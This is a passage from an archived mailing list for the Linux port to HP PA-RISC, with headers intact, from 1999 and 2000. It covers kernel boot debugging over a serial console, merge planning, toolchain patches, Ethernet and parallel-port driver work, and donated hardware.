> - Have you tried both serial ports?
> - Are you sure your serial console is working?

The cable was bad. Now it works!!! Thank you for the tip!

Now I can interact with firmware and IPL. I can edit the prompt and load
the kernel. But the kernel doesn't show anything:

Please enter the command-line:
/stand/vmlinux HOME=/ TERM=LINUX console=tty

SOM-Kernel:
aux_header_location: 00000080
som       : 01000080
exec_dfile: 00145000
exec_dsize: 000B9000
exec_dmem : C01F5000
exec_tfile: 00050000
exec_tsize: 000F4008
exec_tmem : C0100000
exec_bsize: 00060FE0
exec_entry: C0100000
Code at 0x00100000, size=0x000F4008
Data at 0x001F5000, size=0x000B9000
BSS  at 0x002AE000.
exec_entry: C0100000

Transferring control to kernel. (At entry point 0x00100000)

That's all I see. I have tried console=serial, console=ttyS0, I have tried
to remove the "console" parameter - no effect. I cannot see where that
"console" parameter is parsed.

I'm using Image-20000218.bin

Anyway, I have yet a lot of things to try (including compiling the latest
version). Thank you for your help.

Regards,
Pavel Roskin


From - Thu Nov 08 21:12:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [MERGE] trouble files
Date: Wed, 24 May 2000 21:19:43 -0400
Organization: Legion of Mozilla
Lines: 14
Approved: news@gmane.org
Message-ID: <392C7FAF.F8BE73E8@subcarrier.org>
References: <20000523200750.F17536@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618929 322 80.91.229.3 (22 Nov 2014 01:15:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: mang@subcarrier.org  Wed May 24 19:19:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA16931
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 May 2000 19:19:02 -0600
Original-Received: (qmail 28547 invoked by uid 15267); 25 May 2000 01:19:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28533 invoked from network); 25 May 2000 01:19:15 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 25 May 2000 01:19:15 -0000
Original-Received: (qmail 17671 invoked from network); 25 May 2000 01:15:40 -0000
Original-Received: from unknown (HELO subcarrier.org) (24.114.25.250)
  by relay1.pair.com with SMTP; 25 May 2000 01:15:40 -0000
X-pair-Authenticated: 24.114.25.250
Original-Sender: subc@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7324

I'll be available to help, but won't have a machine to test on.  I just
got a souped up 712 (thanks to the Fort Collins crew!), but haven't
scrounged up the required cables yet.

	- Mike.

willy@thepuffingroup.com wrote:
> 
> I propose we close
> the tree for new checkins midnight Thursday GMT (7pm EST, 4pm PST).
> After that, I guess we'll lay down a tag and start merging in 2.3.99pre8
> files and then lay down another tag when we're done.  mang, will you be
> around to assist us with the merge?


From - Thu Nov 08 21:12:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bad asm comments
Date: Thu, 25 May 2000 14:51:44 +1000 (EST)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005241750310.8974-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0005241116300.13743-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618929 325 80.91.229.3 (22 Nov 2014 01:15:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Wed May 24 22:53:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA19292
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 May 2000 22:53:35 -0600
Original-Received: (qmail 14891 invoked by uid 15267); 25 May 2000 04:53:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14844 invoked from network); 25 May 2000 04:53:49 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 25 May 2000 04:53:49 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA15203;
	Thu, 25 May 2000 14:51:44 +1000
In-Reply-To: <Pine.LNX.4.21.0005241116300.13743-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7325


I've patched these gcc files for the new binutils.  They ought to still
work with the old binutils too.

gcc/longlong.h
gcc/config/pa/lib1linux.asm
gcc/config/pa/lib2funcs-elf.S
gcc/config/pa/lib2funcs.asm

And these glibc files too.

csu/Makefile
stdlib/longlong.h
sysdeps/hppa/__longjmp.S
sysdeps/hppa/add_n.s
sysdeps/hppa/dl-machine.h
sysdeps/hppa/lshift.s
sysdeps/hppa/rshift.s
sysdeps/hppa/setjmp.S
sysdeps/hppa/sub_n.s
sysdeps/hppa/udiv_qrnnd.s
sysdeps/hppa/hppa1.1/addmul_1.s
sysdeps/hppa/hppa1.1/mul_1.s
sysdeps/hppa/hppa1.1/submul_1.s
sysdeps/hppa/hppa1.1/udiv_qrnnd.s
sysdeps/unix/sysv/linux/bits/errno.h

The csu/Makefile patch should put to rest the problem with csu/crti.S and
csu/crtn.S

-- 
Linuxcare.  Support for the Revolution.




From - Thu Nov 08 21:12:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [MERGE] trouble files
Date: Thu, 25 May 2000 09:35:30 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20000525093530.C1338@linuxcare.com>
References: <20000523200750.F17536@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618929 328 80.91.229.3 (22 Nov 2014 01:15:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:29 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Thu May 25 02:35:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA21096
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 May 2000 02:35:26 -0600
Original-Received: (qmail 8793 invoked by uid 15267); 25 May 2000 08:35:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8780 invoked from network); 25 May 2000 08:35:43 -0000
Original-Received: from dyn129-ras34.screaming.net (HELO rhirst.linuxcare.com) (postfix@212.188.129.129)
  by mailserv2.iuinc.com with SMTP; 25 May 2000 08:35:43 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 54D3FB009; Thu, 25 May 2000 09:35:30 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20000523200750.F17536@thepuffingroup.com>; from willy@thepuffingroup.com on Tue, May 23, 2000 at 08:07:50PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7326

On Tue, May 23, 2000 at 08:07:50PM -0400, willy@thepuffingroup.com wrote:
> 
> the following list of files (if I remember to attach them this time...)
> are the files which have been modified in both the parisc tree and Linus'
> 2.3.99pre8 tree.  I've omitted the files where the rcs id is the only thing
> changed.

> drivers/net/82596.c

I don't believe we use that; I guess we started modifying it and then
created our own lasi_82596.c from it.  I'll check if anything that
changed in 82596.c needs feeding back in to lasi_82596.c.

Richard


From - Thu Nov 08 21:12:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bad asm comments
Date: Thu, 25 May 2000 22:12:14 +1000 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005252205560.2241-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0005241750310.8974-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618930 332 80.91.229.3 (22 Nov 2014 01:15:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:30 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Thu May 25 06:21:02 2000
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id GAA23948
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 May 2000 06:21:02 -0600
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by atlrel1.hp.com (Postfix) with SMTP id E152D3C2D
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 May 2000 08:21:19 -0400 (EDT)
Original-Received: (qmail 21334 invoked by uid 15267); 25 May 2000 12:14:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21227 invoked from network); 25 May 2000 12:14:11 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 25 May 2000 12:14:11 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA24140;
	Thu, 25 May 2000 22:12:14 +1000
In-Reply-To: <Pine.LNX.4.21.0005241750310.8974-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7327

And yet some more glibc files need patching

configure.in
config.h.in
configure
include/libc-symbols.h 
sysdeps/unix/sysv/linux/hppa/sysdep.h

The configury changes are so we can get the line separator and comment
char right for include/libc-symbols.h, which uses multiple assembler
instructions per cpp macro.  I can see why there was a strong desire to
use `;' as the line separator...

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Creasey <sammy@oh.verio.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Ethernet driver issues....
Date: Thu, 25 May 2000 09:55:01 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.GSO.3.96.1000525095354.23825D-100000@users.qual.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618930 336 80.91.229.3 (22 Nov 2014 01:15:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:30 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sammy@oh.verio.com  Thu May 25 07:54:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA24559
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 May 2000 07:54:58 -0600
Original-Received: (qmail 32287 invoked by uid 15267); 25 May 2000 13:55:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32277 invoked from network); 25 May 2000 13:55:16 -0000
Original-Received: from dfw-smtpout3.email.verio.net (129.250.36.43)
  by mailserv2.iuinc.com with SMTP; 25 May 2000 13:55:16 -0000
Original-Received: from [129.250.38.63] (helo=dfw-mmp3.email.verio.net)
	by dfw-smtpout3.email.verio.net with esmtp (Exim 3.12 #7)
	id 12uy6S-0001we-00
	for parisc-linux@thepuffingroup.com; Thu, 25 May 2000 13:55:12 +0000
Original-Received: from users.qual.net ([209.57.253.2])
	by dfw-mmp3.email.verio.net with esmtp (Exim 3.12 #7)
	id 12uy6N-0007Or-00
	for parisc-linux@thepuffingroup.com; Thu, 25 May 2000 13:55:07 +0000
Original-Received: from localhost (sammy@localhost)
	by users.qual.net (8.9.3/8.9.3) with SMTP id JAA24135
	for <parisc-linux@thepuffingroup.com>; Thu, 25 May 2000 09:55:01 -0400 (EDT)
X-Authentication-Warning: users.qual.net: sammy owned process doing -bs
X-Sender: sammy@users.qual.net
Xref: news.gmane.org gmane.linux.ports.parisc:7328


This message appeared on the m68k list today, I've had some of these
issues with the lasi ethernet driver on my 712....  any change with a
newer driver as listed below?


"UN-altered REPRODUCTION and DISSEMINATION of this IMPORTANT
Information is ENCOURAGED, ESPECIALLY to COMPUTER BULLETIN BOARDS."
	-- Robert E. McElwaine



---------- Forwarded message ----------
Date: Thu, 25 May 2000 14:26:45 +0100
From: Richard Hirst <rhirst@linuxcare.com>
To: reinhard arlt <reinhard.arlt@t-online.de>
Cc: Linux/m68k <linux-m68k@lists.linux-m68k.org>
Subject: Re: linux-2.3.99-pre2 on mvme177 (fwd)
Resent-Date: Thu, 25 May 2000 15:28:25 +0200 (MET DST)
Resent-From: linux-m68k@phil.uni-sb.de

> 3. The ethernet driver complains about returning buffers on hard irq
> level. Is this because of the  higher warning level in the driver ?
**> 4. There is a general problem with the ethernet driver, as it starts
**> slowly, with tx timeouts etc.

Pick up 82596.c from an official 2.3.99-pre6 or later; that should
work fine.



From - Thu Nov 08 21:12:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Ethernet driver issues....
Date: Thu, 25 May 2000 08:21:47 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20000525082147.A25025@puffin.external.hp.com>
References: <Pine.GSO.3.96.1000525095354.23825D-100000@users.qual.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618930 337 80.91.229.3 (22 Nov 2014 01:15:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:30 +0000 (UTC)
To: Sam Creasey <sammy@oh.verio.com>, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Thu May 25 08:21:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA25110
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 May 2000 08:21:51 -0600
Original-Received: (qmail 24811 invoked by uid 15267); 25 May 2000 14:22:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24804 invoked from network); 25 May 2000 14:22:09 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 25 May 2000 14:22:09 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id IAA25105;
	Thu, 25 May 2000 08:21:47 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <Pine.GSO.3.96.1000525095354.23825D-100000@users.qual.net>; from Sam Creasey on Thu, May 25, 2000 at 09:55:01AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7329

On Thu, May 25, 2000 at 09:55:01AM -0400, Sam Creasey wrote:
> This message appeared on the m68k list today, I've had some of these
> issues with the lasi ethernet driver on my 712....  any change with a
> newer driver as listed below?

I've seen this issue and blamed it on console driver issues (I couldn't
reproduce it on a 712/60 running sticon, it did happen on a 715/33 using
iodccon).

I'll try to see whether merging the new changes helps.

	Philipp Rumpf


From - Thu Nov 08 21:12:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] memory layout
Date: Thu, 18 Mar 1999 14:10:19 -0500
Organization: mozilla.org diplomatic corps
Lines: 17
Approved: news@gmane.org
Message-ID: <36F14F9B.AD1968C3@netscape.com>
References: <m10NZyO-0007U2C@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618930 345 80.91.229.3 (22 Nov 2014 01:15:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:30 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: shaver@netscape.com  Thu Mar 18 14:10:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id OAA26833
	for <hppa-linux@sod.res.cmu.edu>; Thu, 18 Mar 1999 14:10:28 -0500
Original-Received: (qmail 15030 invoked by uid 15267); 18 Mar 1999 19:09:42 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 15023 invoked from network); 18 Mar 1999 19:09:42 -0000
Original-Received: from h-205-217-237-47.netscape.com (HELO netscape.com) (205.217.237.47)
  by mailserv2.iuinc.com with SMTP; 18 Mar 1999 19:09:42 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id LAA17683
	for <hppa-linux@thepuffingroup.com>; Thu, 18 Mar 1999 11:08:30 -0800 (PST)
Original-Received: from netscape.com ([205.217.243.67]) by
          tintin.mcom.com (Netscape Messaging Server 4.03) with ESMTP id
          F8T16A00.D0T for <hppa-linux@thepuffingroup.com>; Thu, 18 Mar
          1999 11:08:34 -0800 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.0-pre7-ac1 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7330

Alan Cox wrote:
> If you want to run PH/UX binaries then you need to probably follow their
> layout

Yeah, but OpenBSD runs their binaries and seems to use the 0xC0000000
division.

> The m68k people use the 'spaces' equivalent on the m68k quite heavily

So we should be reading up on the spaces use in the arch/m68k code, then
=).

Mike

-- 
351839.03 300276.13


From - Thu Nov 08 21:12:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Ethernet driver issues....
Date: Thu, 25 May 2000 15:33:46 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20000525153346.C4413@linuxcare.com>
References: <Pine.GSO.3.96.1000525095354.23825D-100000@users.qual.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618931 347 80.91.229.3 (22 Nov 2014 01:15:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:31 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Thu May 25 08:34:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA25384
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 May 2000 08:34:19 -0600
Original-Received: (qmail 2853 invoked by uid 15267); 25 May 2000 14:34:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2824 invoked from network); 25 May 2000 14:34:37 -0000
Original-Received: from ppp-1-154.cvx3.telinco.net (HELO rhirst.linuxcare.com) (@212.1.144.154)
  by mailserv2.iuinc.com with SMTP; 25 May 2000 14:34:37 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 8BC58B009; Thu, 25 May 2000 15:34:23 +0100 (BST)
X-Mailer: Mutt 1.0us
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.GSO.3.96.1000525095354.23825D-100000@users.qual.net>; from sammy@oh.verio.com on Thu, May 25, 2000 at 09:55:01AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7331

On Thu, May 25, 2000 at 09:55:01AM -0400, Sam Creasey wrote:
> 
> This message appeared on the m68k list today, I've had some of these
> issues with the lasi ethernet driver on my 712....  any change with a
> newer driver as listed below?

The changes that went in to 82596.c for 2.3.99-pre6 are already in
our lasi_82596.c source, under cvs.  I committed them about a week
ago and have had only positive reports since.  Give it a try on
your 712...

Richard


From - Thu Nov 08 21:12:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [MERGE] trouble files
Date: Thu, 25 May 2000 11:41:46 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20000525114146.K25884@thepuffingroup.com>
References: <20000523200750.F17536@thepuffingroup.com> <20000525093530.C1338@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618931 353 80.91.229.3 (22 Nov 2014 01:15:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: willy@thepuffingroup.com  Thu May 25 08:41:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA25675
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 May 2000 08:41:36 -0600
Original-Received: (qmail 8960 invoked by uid 15267); 25 May 2000 14:41:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8949 invoked from network); 25 May 2000 14:41:50 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 25 May 2000 14:41:50 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id LAA30087;
	Thu, 25 May 2000 11:41:47 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000525093530.C1338@linuxcare.com>; from Richard Hirst on Thu, May 25, 2000 at 09:35:30AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7332

On Thu, May 25, 2000 at 09:35:30AM +0100, Richard Hirst wrote:
> > drivers/net/82596.c
> 
> I don't believe we use that; I guess we started modifying it and then
> created our own lasi_82596.c from it.  I'll check if anything that
> changed in 82596.c needs feeding back in to lasi_82596.c.

Helge already mailed me to inform me we can lose all our current
modifications to that file.  You don't need to check it; thanks for
noticing :-)


From - Thu Nov 08 21:12:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Free Hardware!
Date: Thu, 25 May 2000 15:18:20 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20000525151820.Q25884@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618931 357 80.91.229.3 (22 Nov 2014 01:15:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:31 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Thu May 25 12:49:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA29137
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 May 2000 12:49:06 -0600
Original-Received: (qmail 5580 invoked by uid 15267); 25 May 2000 18:49:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5558 invoked from network); 25 May 2000 18:49:24 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 25 May 2000 18:49:24 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id PAA30502
	for parisc-linux@thepuffingroup.com; Thu, 25 May 2000 15:18:20 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7333

Alex, I was thinking of seding out something along the following lines:

---

Thanks to the generosity of several HP employees and the HP equipment
recycling system, we have a number of systems to donate to developers.
If you feel you could make good use of one of these systems and help
the port along, please reply to me and we'll try to decide who gets one.
Suggestions of how to decide who is sufficiently deserving to receive
machines will also be gratefully accepted :-)

These are older systems; mostly 712/60, 712/80 and 715/50 systems.
They are without monitors, but we do have keyboards for the 712 systems;
these can use standard VGA monitors.  Some have hard discs, all have
network (the 715/50 only has AUI; the 712 has 10baseT as well), some
have floppy discs, some have telephony cards, some have extra video cards.

---

I was also thinking about putting some of the gigabit ethernet cards
for the K-class that grant shipped us up on eBay to finance shipping
the systems to developers.  What do you think?


From - Thu Nov 08 21:12:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Parallel driver for lasi/asp
Date: Thu, 25 May 2000 21:28:18 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <00052521281800.04293@P100>
References: <200005251826.MAA28859@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618932 359 80.91.229.3 (22 Nov 2014 01:15:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: deller@gmx.de  Thu May 25 13:35:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA29537
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 May 2000 13:35:05 -0600
Original-Received: (qmail 21118 invoked by uid 15267); 25 May 2000 19:35:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16120 invoked from network); 25 May 2000 19:32:25 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 25 May 2000 19:32:25 -0000
Original-Received: (qmail 22249 invoked by uid 0); 25 May 2000 19:31:57 -0000
Original-Received: from pec-66-197.tnt4.me.uunet.de (HELO P100) (149.225.66.197)
  by mail05.rzmi.gmx.net with SMTP; 25 May 2000 19:31:57 -0000
X-Mailer: KMail [version 1.1.45]
In-Reply-To: <200005251826.MAA28859@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7334

Hello Puffins & Linuxcare's,

after nearly half a year absence - in which I finished university yesterday - 
from the parisc-porting effort and silently lurking and following the list 
I'm now able to do some programming again.

I just committed a parallel-port-driver for lasi and asp-machines which I 
hacked up yesterday. This driver is mainly based on the parport_pc.c-driver 
and I don't have any clue, if it really works ! 

As Murphy's law says, my printer broke just in the moment I wanted to print 
my thesis last week, and so I now had to test the driver with an old 9-dot 
matrix-printer. The problem is, that all characters printed with this driver 
shows up in greek-letters, so I verified the output with the printer 
connected to my Intel-machine and I got the same result !
So I think the driver **may** work, but I can't test it !
Because of that it would be great to get any success or failure reports.....

Helge.


-- Private Note: (I hope this will be allowed here once on this list) --
